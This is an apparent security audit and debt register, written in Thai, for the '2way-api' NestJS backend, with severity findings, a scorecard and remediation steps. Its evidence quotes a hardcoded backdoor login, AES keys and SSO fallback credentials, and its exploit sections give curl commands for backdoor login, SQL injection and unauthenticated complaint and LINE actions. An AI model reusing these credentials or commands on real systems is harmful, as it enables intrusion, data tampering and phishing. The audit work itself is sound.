Skip to content

4 · Scorecard + debt register (V1 depth)

บทสรุปของ 01 Repository map, 02 Core pipeline, และ 03 Persistence & integrations สำหรับ 2way-api (branch: prod, 178 tracked files)

2way-api เป็น repo ที่มี security debt หนาแน่นที่สุดในกลุ่ม 2way Platform ตามที่ตรวจจากซอร์ส — แกนกลางคือ pattern เดียวกันซ้ำหลายที่: global JwtAuthGuard ถูกทำให้เป็น opt-in ด้วย @Public() บน mutation ส่วนใหญ่ พร้อม backdoor login, secret fallback ในซอร์ส, และ raw SQL string interpolation

อย่าคัดลอกค่า secret / password จริงลงเอกสารหรือ ticket — อ้างชื่อตัวแปรและ file:line


Severity legend

Levelเกณฑ์Action
Criticalactive security/data-loss/availability riskแก้ก่อน feature ใหม่ / ปิด surface ทันที
Highcorrectness/auth hygiene hazard, real impactวางแผนแก้ใน sprint ถัดไป
Mediumfriction/hygieneแก้ตามโอกาส
Lowcleanup / consistencybacklog

Severity: Critical

SEC-2WAYAPI-01 · Backdoor login hardcode i3admin / password — ออก JWT admin 48h โดยไม่ผ่าน SSO

ที่: 2way-api/src/modules/auth/auth.service.ts (branch: prod):184-240
Route: POST .../auth/ เป็น @Public()auth.controller.ts:13-28 (ดู 02 Trace C)

Evidence:

typescript
async signInNonEmp(body: AuthDto) {
  const { username, password } = body;

  if (username === 'i3admin' && password === 'aA123456!') {
    const mockProfile = {
      empCode: 'adm9999',
      // ...
      level: 1,
    };
    const mockToken = await jwt.sign(
      { id: 999999, profile: mockProfile, uid: '99999-ad-9999' },
      process.env.SECRET_JWT_TWOWAY,
      { expiresIn: '48h' },
    );
    return { token: mockToken, success: true, statusCode: 2000, profile: mockProfile };
  }
  // ... SSO path ...
}

ข้อเท็จจริงที่ตรวจแล้ว:

  • Username/password ฝังในซอร์ส — ไม่มี feature flag / NODE_ENV gate
  • ออก JWT จริงด้วย SECRET_JWT_TWOWAY
  • mockProfile.level = 1 → ใน announce list จะข้าม org/divi filter (ดู 02)
  • ไม่เรียก SSO และไม่เรียก checkEmployeeCD

Exploit:

bash
curl -X POST "https://<host>/2way-api/api/v1/auth/" \
  -H "Content-Type: application/json" \
  -d '{"username":"i3admin","password":"aA123456!"}'
# → ได้ Bearer 48h สิทธิ์เทียบ admin สำนักงาน i3gateway ใน mock profile

Impact: ใครก็ตามที่อ่านซอร์ส (หรือเดารหัสจาก leak) ได้สิทธิ์ระดับสูงในระบบประกาศ/แบบสำรวจ/ร้องเรียน โดยไม่ต้องมีบัญชีพนักงาน — รวมถึงใช้ token เรียก endpoint ที่ยังบังคับ JWT อยู่

Remediation:

  1. ลบก้อน if (username === 'i3admin' ...) ออกทั้งหมดจาก production branch
  2. ถ้าต้องการบัญชีทดสอบ — ใส่เฉพาะ UAT ด้วย seed + secret ที่ rotate ได้ และ feature flag ปิดใน prod
  3. Audit log ทุก login สำเร็จ; alert เมื่อ empCode === 'adm9999'
  4. Rotate SECRET_JWT_TWOWAY หลังปิด backdoor (token เก่าที่ออกจาก backdoor ยังใช้ได้จนหมดอายุ)

SEC-2WAYAPI-02 · SSO / crypto secrets มี default fallback ฝังในซอร์ส

ที่: 2way-api/src/modules/auth/auth.service.ts (branch: prod):20-26

Evidence:

typescript
private AES_SECRET_KEY = process.env.SSO_AES_SECRET_KEY || 'EoABvcD7RsFBeKRZgSOHS4LLD08To6Pc';
private AES_INIT_VECTOR = process.env.SSO_AES_INIT_VECTOR || 'AaNZRKzytx9yCAiA';
private SSO_END_POINT = process.env.SSO_END_POINT || 'https://uatssoapi.redcross.or.th/SSOService_dev/api';
private SSO_APP_ID = process.env.SSO_APP_ID || 'VTRCBO';
private SSO_REQUEST_ID = process.env.SSO_REQUEST_ID || 'SSO220607000000031';
private SSO_USERNAME = process.env.SSO_USERNAME || 'user';
private SSO_PASSWORD = process.env.SSO_PASSWORD || 'P@ssw0rd';

เพิ่มเติม: 2way-api/src/utils/encrypt.util.ts:3process.env.NEXT_PUBLIC_ENCRYPT_SECRET || 'CHANGE_ME_PLS'

Exploit: Deploy ที่ลืมตั้ง env → ใช้ค่าที่ commit ใน git ทันที; attacker ที่อ่าน repo รู้ AES key/IV และ SSO basic-auth fallback

Impact: ถอดรหัส/ปลอม payload ไปทาง SSO; ยิง UAT SSO จาก production path; decrypt utility ใช้ secret อ่อน

Remediation: ลบ || 'literal' ทั้งหมด; boot fail-fast ถ้า env จำเป็นหาย; rotate ค่าที่เคยเป็น fallback; ห้าม default ชี้ *_dev SSO จากโค้ด prod


SEC-2WAYAPI-03 · SQL injection — string interpolation ใน raw SQL (announces / surveys / complaints)

ที่ (ยืนยันจาก 02 / 03):

  • 2way-api/src/modules/announces/announces.service.ts (branch: prod):164-296,297-463 — list/detail กรองด้วย empCode, orgCode, diviCode, typeGroup, identityCard, from, to, announceType ต่อเข้า WHERE
  • 2way-api/src/modules/surveys/surveys.service.tsgetSummary และจุดเช่น :430 content_id = ${item.id}
  • 2way-api/src/modules/complaints/complaints.service.tsgetSummary / count queries (~278+)
  • 2way-api/src/crontab/notification-pms/notification-pms.task.service.ts:77-84 — UPDATE concat (cron ปิดอยู่ แต่โค้ดยังอยู่)

Evidence (รูปแบบ announce list — ดูรายละเอียด string ในบท 02):

typescript
// พารามิเตอร์จาก client ถูกต่อเข้า SQL string แล้วส่ง
await this.entityManager.query(strQuery);

Exploit (แนวคิด):

bash
curl -G "https://<host>/2way-api/api/v1/announces" \
  --data-urlencode "empCode=1' OR 1=1--" \
  --data-urlencode "isMobile=true"
# route เป็น @Public() → ไม่ต้องมี JWT ก็เริ่มฉีดได้ถ้าเงื่อนไข soft-check ผ่าน

Impact: อ่าน/บิดเบือนข้อมูลประกาศ แบบสำรวจ เรื่องร้องเรียน; ในกรณีรุนแรงขยายสิทธิ์ SQL ตาม login ของ DB user sa/app user

Remediation:

  1. ทุกจุดใช้ query(sql, [params]) หรือ QueryBuilder .setParameter()
  2. Cast/validate ประเภทก่อนเข้า SQL (ตัวเลข/วันที่)
  3. Sweep: rg "entityManager\\.query\\(\" แล้วปิดทุกจุดที่ยังมี ${
  4. แม้ PMS cron ปิด — แก้ UPDATE concat ก่อนเปิด @Cron ใหม่

SEC-2WAYAPI-04 · Auth bypass ทั่วระบบผ่าน @Public() บน mutation + LINE push

ที่ (ตัวอย่างที่ยืนยันแล้ว — ไม่ใช่รายการครบทุกบรรทัด):

  • Announces create/update: announces.controller.ts:45,56,79,85
  • Complaints ทั้ง state machine: complaints.controller.ts:13-114
  • LINE push/multicast: line.controller.ts:13-34
  • Employees proxy ส่วนใหญ่: employees.controller.ts (ยกเว้นบาง GET ที่ comment @Public ออก)
  • Auth ทั้งก้อน: auth.controller.ts:13-28
  • Know-content / assign paths ที่เปิด public (ดู 02 Trace B)

Evidence — guard:

typescript
// libs/jwt/jwt-auth.guard.ts:15-24
if (isPublic) {
  return true;
}
return super.canActivate(context);

เมื่อ @Public() ติดอยู่ การมี/ไม่มี Bearer ไม่สำคัญ ที่ชั้น guard — service บางตัวมี soft check เอง (เช่น announce list ดู isMobile) แต่ mutation จำนวนมากรับ empCode จาก body โดยตรงโดยไม่เทียบกับ token

Exploit:

bash
# สร้าง/เปลี่ยนสถานะเรื่องร้องเรียนโดยไม่มี token
curl -X POST "https://<host>/2way-api/api/v1/complaints/adminAssign" \
  -H "Content-Type: application/json" \
  -d '{"empCode":"victim","contentId":123,...}'

# สั่ง LINE multicast
curl -X POST "https://<host>/2way-api/api/v1/Line/multiCast" \
  -H "Content-Type: application/json" \
  -d '{"to":["Uxxxx"],"messages":"..."}'

Impact:

  • ปลอมแปลง workflow ร้องเรียนทั้งสาย (assign / approve / reject)
  • สร้าง/แก้ประกาศในนามคนอื่น
  • Spam / phishing ผ่านช่องทาง LINE ขององค์กร
  • อ่านข้อมูลพนักงานผ่าน centralize proxy ที่ public

Remediation:

  1. Inventory ทุก @Public() เทียบ threat model — default-deny
  2. Mutation ต้อง JWT + ownership/role check (teamAdmin / level)
  3. LINE controller ต้อง service-to-service secret หรือ internal network only
  4. เปิด EmpCodeMiddleware ที่ถูก comment ใน employees.controller.ts:33-49 กลับมาหลังทดสอบ

Severity: High

SEC-2WAYAPI-05 · verifyJwt() ตั้ง ignoreExpiration: true เสมอ

ที่: 2way-api/src/modules/auth/auth.service.ts (branch: prod):31-40
ใช้ซ้ำใน signInRedirectByPass (~290) และ verifyToken (~339-357)

Evidence:

typescript
const decoded = await verify(token, secret, {
  algorithms: ['HS256'],
  ignoreExpiration: true,
});

ตรงข้ามกับ JwtStrategy ที่ ignoreExpiration: false (libs/jwt/jwt.strategy.ts:13-14)

Exploit: เก็บ JWT เก่า (หรือ VTRC SECRET_KEY token ที่หมดอายุ) → POST /auth/redirectbypass หรือ /auth/verifyToken ยังผ่าน → ได้ two-way token ใหม่ 48h

Impact: session ที่ควรหมดอายุไม่หมด; ขยายหน้าต่างหลัง credential rotate ถ้ายังไม่ invalidate ฝั่ง server

Remediation: ignoreExpiration: false; จัดการ 401 เมื่อ TokenExpiredError; อย่าแลก token หมดอายุเป็น token ใหม่โดยไม่มี refresh policy ที่ชัด


SEC-2WAYAPI-06 · MSSQL encrypt: false

ที่: 2way-api/src/app.module.ts (branch: prod):39-42

Evidence:

typescript
extra: {
  trustServerCertificate: true,
  encrypt: false,
}

Impact: traffic ระหว่าง app กับ DB (รวมเนื้อหาร้องเรียน / ประกาศ / empCode) ไม่บังคับ TLS ที่ driver layer

Remediation: encrypt: true; จัดการ cert; ลดการใช้ trustServerCertificate: true ใน production


SEC-2WAYAPI-07 · LINE service URL hardcode เป็น IP สาธารณะ

ที่: 2way-api/src/modules/line/line.service.ts (branch: prod):76,86

Evidence:

typescript
await this.axios.post('http://20.212.116.206:8200/api/v1/line/nextPage', data);
await this.axios.delete('http://20.212.116.206:8200/api/v1/line/previousPage', data);

Impact: ผูก infra กับโค้ด; ใช้ HTTP ไม่ใช่ HTTPS; ถ้า IP เปลี่ยนระบบพัง; traffic ไป line-service ไม่เข้ารหัส; attacker ที่รู้ IP อาจยิงตรงถ้า firewall อ่อน

Remediation: LINE_SERVICE_URL จาก env; บังคับ HTTPS ภายใน; network allowlist


SEC-2WAYAPI-08 · EmpCodeMiddleware และ permission view ถูกปิด — employees เป็น open proxy

ที่: employees.controller.ts:33-49 (middleware next() อย่างเดียว), employees.service.ts:112-125 (call site comment)

Evidence: validateEmpCodeToken ที่อ่าน VM_PERMISSION_FOR_SEARCH_EMPLOYEE มีอยู่แต่ไม่ถูกเรียก — ดู 02 Trace E

Impact: endpoint พนักงานส่วนใหญ่ @Public() + ไม่เช็คสิทธิ์ค้นหา → เป็น proxy อ่านข้อมูลจาก NestJS centralize-api โดยไม่ต้องมี JWT

Remediation: เปิด middleware; ลบ @Public() ที่ไม่จำเป็น; บังคับ JWT + permission view


CORR-2WAYAPI-01 · Cron PMS มี SQL concat และ cross-schema join — handler ปิดแต่โค้ดพร้อมรันผิดพลาด

ที่: notification-pms.task.service.ts:19-23 (@Cron comment), :27-85 (SQL ยังอยู่)

Evidence: UPDATE ใช้ '${notifyCode}' และ empCode IN (${empSet.map(...)}) — ค่ามาจาก SELECT ก่อนหน้า (ไม่ใช่ HTTP ตรง) แต่เป็น pattern อันตราย; join pms.dbo.tbnotify[2way].dbo.userline

Impact: ตอนเปิด cron ในอนาคตโดยไม่แก้ — risk injection จากข้อมูลในตาราง + coupling ข้าม DB ที่ deploy ต้องมี linked schema

Remediation: parameterized UPDATE ก่อน uncomment @Cron; document dependency schema ใน runbook


Severity: Medium

QUAL-2WAYAPI-01 · โมดูลซ้ำไม่ได้ต่อเข้า AppModule (*-new, old_*)

ที่: announces-new, employees-new, surveys/old_surveys, complaints/old_complaints, crontab/*/old_* — ไม่ import ใน app.module.ts:1-19

Impact: dead code ทำให้ review สับสน; ถ้ามีคนเผลอ wire เข้ามา จะเปิด @Public() ทั้งชุดของ *-new ทันที

Remediation: ลบโฟลเดอร์หรือย้าย branch archive; ห้าม merge โดยไม่ audit @Public()


QUAL-2WAYAPI-02 · AppModule import ตัวเอง

ที่: 2way-api/src/app.module.ts (branch: prod):46

Impact: สื่อเจตนาผิด; Nest จัดการ circular ได้แต่เป็นกลิ่นโค้ด

Remediation: ลบ AppModule ออกจาก imports ของตัวเอง


QUAL-2WAYAPI-03 · console.log ปน I3GatewayLogger รวม PII / query

ที่: ตัวอย่าง announces.service.ts:56,94,112,289; auth.service.ts:246 (console.log('sso', sso)); cron tasks

Impact: PII ใน container logs; ไม่มีระดับ log มาตรฐาน

Remediation: ห้าม console.log ด้วย lint; mask token/profile


QUAL-2WAYAPI-04 · Node engine ไม่ตรง Dockerfile

ที่: package.json:27 (engines >=18) vs Dockerfile.prod:1 (node:16-alpine)

Impact: พฤติกรรม/security patch ของ Node ต่างกันระหว่าง local กับ image

Remediation: รวมเวอร์ชันทุก stage + .nvmrc


QUAL-2WAYAPI-05 · Package manager ไม่สอดคล้อง (yarn.lock + package-lock-prod.json)

ที่: มีทั้งสองไฟล์ใน repo — workspace convention ระบุ npm สำหรับกลุ่มนี้ แต่ CI อาจใช้ yarn

Impact: dependency version เพี้ยนระหว่าง environment

Remediation: เลือกตัวเดียว; ลบ lockfile อีกฝั่ง; ล็อกใน pipeline


QUAL-2WAYAPI-06 · ScheduleModule ถูก forRoot() หลายครั้งในแต่ละ task module

ที่: announce.task.module.ts, survey.task.module.ts, complaint.task.module.ts, notification-pms.task.module.ts — แต่ละตัว imports: [ScheduleModule.forRoot(), ...]

Impact: pattern ที่ Nest เตือนได้ — ควร forRoot() ครั้งเดียวที่ AppModule

Remediation: ย้าย ScheduleModule.forRoot() ขึ้น root; task modules import ScheduleModule อย่างเดียวถ้าจำเป็น


OBS-2WAYAPI-01 · TypeORM logging: ['error','query'] ใน production path

ที่: app.module.ts:37

Impact: SQL + พารามิเตอร์เข้า log — เนื้อหาร้องเรียนอาจเป็นข้อมูลอ่อนไหว

Remediation: prod = ['error'] เท่านั้น


OBS-2WAYAPI-02 · CORS origin: '*' + Swagger เปิด + body 50mb

ที่: main.ts:30-42 (ดู 01 boot sequence)

Impact: ขยาย attack surface เมื่อรวมกับ @Public() mutations

Remediation: allowlist origin; ปิด docs ใน prod; rate limit ที่ gateway


QUAL-2WAYAPI-07 · Soft Bearer check บน announce/survey list ไม่ใช่ authorization จริง

ที่: เงื่อนไข isMobile / optional Authorization ใน service (02 Trace A)

Impact: ผู้พัฒนาเข้าใจผิดว่า "มีเช็ค token" ทั้งที่ route เป็น @Public() และ mobile path ข้ามการเช็ค

Remediation: แยก public catalog endpoint กับ admin list ที่บังคับ JWT ชัดเจน


Severity: Low

QUAL-2WAYAPI-08 · Package name vtrc-restfull-v2 ไม่ตรงชื่อ repo

ที่: 2way-api/package.json:2

Impact: สับสนใน monorepo / artifact

Remediation: rename หรือใส่ description ชัด


QUAL-2WAYAPI-09 · endpoint.txt มือเขียนอาจ stale

ที่: root endpoint.txt

Impact: onboarding อ่าน route ผิด

Remediation: generate จาก Swagger หรือลบแล้วชี้ไป Volume นี้


QUAL-2WAYAPI-10 · Dual centralize callers (GraphQL cu-central vs REST centralize-api)

ที่: Auth ใช้ GraphQL CENTRALIZE_API_URL; Employees ใช้ REST CENTRALIZE_SERVER03

Impact: debt การตั้งชื่อ "centralize" สับสน; debug ยากว่าเรียกระบบไหน

Remediation: ตั้งชื่อ env ให้สื่อระบบจริง (CU_CENTRAL_GRAPHQL_URL / CENTRALIZE_REST_URL)


Finding index

IDSevหัวข้อสั้น
SEC-2WAYAPI-01CriticalBackdoor i3admin
SEC-2WAYAPI-02CriticalSecret/AES/SSO fallback ในซอร์ส
SEC-2WAYAPI-03CriticalSQL injection raw string
SEC-2WAYAPI-04Critical@Public() บน mutation / LINE
SEC-2WAYAPI-05HighignoreExpiration: true
SEC-2WAYAPI-06HighDB encrypt: false
SEC-2WAYAPI-07HighLINE IP hardcode HTTP
SEC-2WAYAPI-08HighEmployees permission ปิด
CORR-2WAYAPI-01HighPMS cron SQL concat (dormant)
QUAL-2WAYAPI-01MediumDead *-new / old_* modules
QUAL-2WAYAPI-02MediumAppModule self-import
QUAL-2WAYAPI-03Mediumconsole.log / PII
QUAL-2WAYAPI-04MediumNode 18 vs image 16
QUAL-2WAYAPI-05Mediumyarn vs npm lockfiles
QUAL-2WAYAPI-06MediumScheduleModule.forRoot ซ้ำ
OBS-2WAYAPI-01Mediumquery logging
OBS-2WAYAPI-02MediumCORS/Swagger/50mb
QUAL-2WAYAPI-07Mediumsoft auth หลอกตา
QUAL-2WAYAPI-08..10Lownaming / docs / dual centralize

2way-api Health Scorecard

Dimensionสถานะหมายเหตุ
Auth pipelineแดงBackdoor + @Public ทั่ว + ignoreExpiration บน verify path
Persistence & SQL safetyแดงRaw SQL concat หลายโมดูล; encrypt:false
Secrets managementแดงFallback secrets ในซอร์ส; hardcode backdoor password
External integrationsเหลืองSSO + dual centralize + LINE; IP hardcode
Public surface controlแดงMutation และ LINE เปิดโดยไม่ต้อง JWT
Background jobsเหลือง3 cron 07:00 ทำงาน; PMS ปิดแต่โค้ดเสี่ยง
Logging & observabilityเหลืองconsole.log + query log
Layering / dead codeเหลือง*-new / old_* ค้าง; AppModule self-import
Build & toolingเหลืองNode version + dual lockfile
Test coverageเหลืองมี test/ แต่ไม่ได้ใช้เป็นเกตปิด Critical ในรอบนี้

คะแนนรวมมิติ: 0 เขียว / 6 เหลือง / 4 แดง


Cron jobs — สรุปสั้นสำหรับ scorecard

JobScheduleFileสถานะ
Announce offer-date LINE notifyEVERY_DAY_AT_7AMannounce.task.service.ts:19-22Active
Survey notifyEVERY_DAY_AT_7AMsurvey.task.service.ts:21-25Active
Complaint notifyEVERY_DAY_AT_7AMcomplaint.task.service.ts:21-22Active
PMS LINE notify(comment)notification-pms.task.service.ts:19-23Inactive — โค้ด SQL ยังอยู่

รายละเอียด pipeline: 02 Core pipeline — Cron

ความเสี่ยง cron ที่ active: พึ่ง raw SQL + LineService; ไม่ผ่าน JwtAuthGuard (ถูกต้องสำหรับ in-process) แต่ถ้า SQL ผิดพลาดจะส่งแจ้งเตือนผิดกลุ่มได้ — ต้อง monitor จาก log 07:00


Modernization — ลำดับ ROI

  1. ลบ backdoor i3admin (SEC-2WAYAPI-01) + rotate SECRET_JWT_TWOWAY
  2. ลบ secret fallback (SEC-2WAYAPI-02) + fail-fast boot
  3. ปิด @Public() บน complaints / LINE / announce mutations (SEC-2WAYAPI-04) — คุย frontend/LINE client ก่อนตัด
  4. Parameterized SQL ทั้ง announces/surveys/complaints (SEC-2WAYAPI-03)
  5. ignoreExpiration: false (SEC-2WAYAPI-05)
  6. เปิด employees permission ใหม่ (SEC-2WAYAPI-08)
  7. LINE URL จาก env + HTTPS (SEC-2WAYAPI-07)
  8. DB encrypt + ลด query logging (SEC-2WAYAPI-06 / OBS-01)
  9. ลบ dead modules + แก้ ScheduleModule.forRoot (QUAL-01/06)
  10. รวม Node + package manager (QUAL-04/05)

สิ่งที่ตรวจแล้ว vs ยังไม่ตรวจ

ตรวจแล้วจากซอร์ส (branch prod)UNVERIFIED / นอกขอบเขตรอบนี้
Backdoor login ทั้งก้อนว่า production deploy ปัจจุบันยังเป็น commit ชุดนี้หรือไม่
@Public() บน complaints/line/announcesnetwork ACL / API gateway บังคับ auth ด้านนอกหรือไม่
SQL concat ใน announce listผล pentest จริงบน UAT
ignoreExpiration: true บน AuthServiceว่า SECRET_KEY (VTRC) กับ SECRET_JWT_TWOWAY หมุนอย่างไรใน ops
3 cron 07:00 active + PMS ปิดtimezone ของ container = Asia/Bangkok หรือไม่
Dual centralize callersownership ทีมของแต่ละ centralize

สมมติฐานที่ระบุไว้: ถ้ามี WAF/gateway บังคับ JWT ด้านหน้า ความรุนแรงของ SEC-2WAYAPI-04 อาจลดในทางปฏิบัติ — แต่โค้ดยังเป็น auth bypass และต้องถือว่า Critical จนกว่าจะมีหลักฐาน control ภายนอก


ตัวอย่าง remediation แบบ parameterized (อ้างอิง)

typescript
// แทนที่ string concat
const rows = await this.entityManager.query(
  `SELECT id, topic_name FROM t_content
   WHERE emp_code = @0 AND offer_date >= @1 AND offer_date <= @2`,
  [empCode, fromDate, toDate],
);
typescript
// Auth boot — ห้าม fallback
const secret = process.env.SSO_AES_SECRET_KEY;
if (!secret) {
  throw new Error('SSO_AES_SECRET_KEY is required');
}
typescript
// ปิด backdoor — ลบทั้ง if-block; อย่า comment ไว้ใน prod

ไป กลับสู่ index หรือ ดูภาพรวม Volume 5